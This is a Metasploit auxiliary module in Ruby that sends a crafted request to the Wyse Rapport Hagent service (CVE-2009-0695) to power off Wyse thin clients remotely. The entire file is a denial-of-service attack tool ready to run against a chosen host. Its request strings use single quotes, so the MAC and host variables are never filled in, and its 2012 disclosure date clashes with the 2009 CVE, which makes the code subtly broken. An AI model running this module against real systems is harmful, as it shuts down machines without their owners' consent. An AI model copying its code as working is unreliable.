require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Wyse Machine Remote Power off (DOS)',
'Description' => %q{
This module exploits the Wyse Rapport Hagent service and cause
remote power cycle (Power off the wyse machine remotely).
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Author' => 'it.solunium@gmail.com',
'Version' => '$Revision: 14976 $',
'References' =>
[
['CVE', '2009-0695'],
['OSVDB', '55839'],
['US-CERT-VU', '654545'],
['URL', 'http://snosoft.blogspot.com/'],
['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Targets' =>
[
[ 'Wyse Linux x86', {'Platform' => 'linux',}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 13 2012'
))
register_options(
[
Opt::RPORT(80),
], self.class)
end
def run
# Connect to the target service
print_status("Connecting to the target #{rhost}:#{rport}")
if connect
print_status("Connected...")
end
# Parameters
genmac = "00"+Rex::Text.rand_text(5).unpack("H*")[0]
craft_req = '&V52&CI=3|'
craft_req << 'MAC=#{genmac}|#{rhost}|'
craft_req << 'RB=0|MT=3|'
craft_req << '|HS=#{rhost}|PO=#{rport}|'
craft_req << 'SPO=0|'
# Send the malicious request
sock.put(craft_req)
# Download some response data
resp = sock.get_once(-1, 10)
print_status("Received: #{resp}")
disconnect
if not resp
print_error("No reply from the target, this may not be a vulnerable system")
return
end
if resp == '&00'
print_status("#{rhost} execute command succefuly & power off.")
return
end
#Exeptions
rescue ::Rex::ConnectionRefused
print_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")
rescue ::Rex::HostUnreachable
print_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")
rescue ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")
rescue ::Errno::ECONNRESET, ::Timeout::Error
print_status("#{rhost} not responding.")
end
end
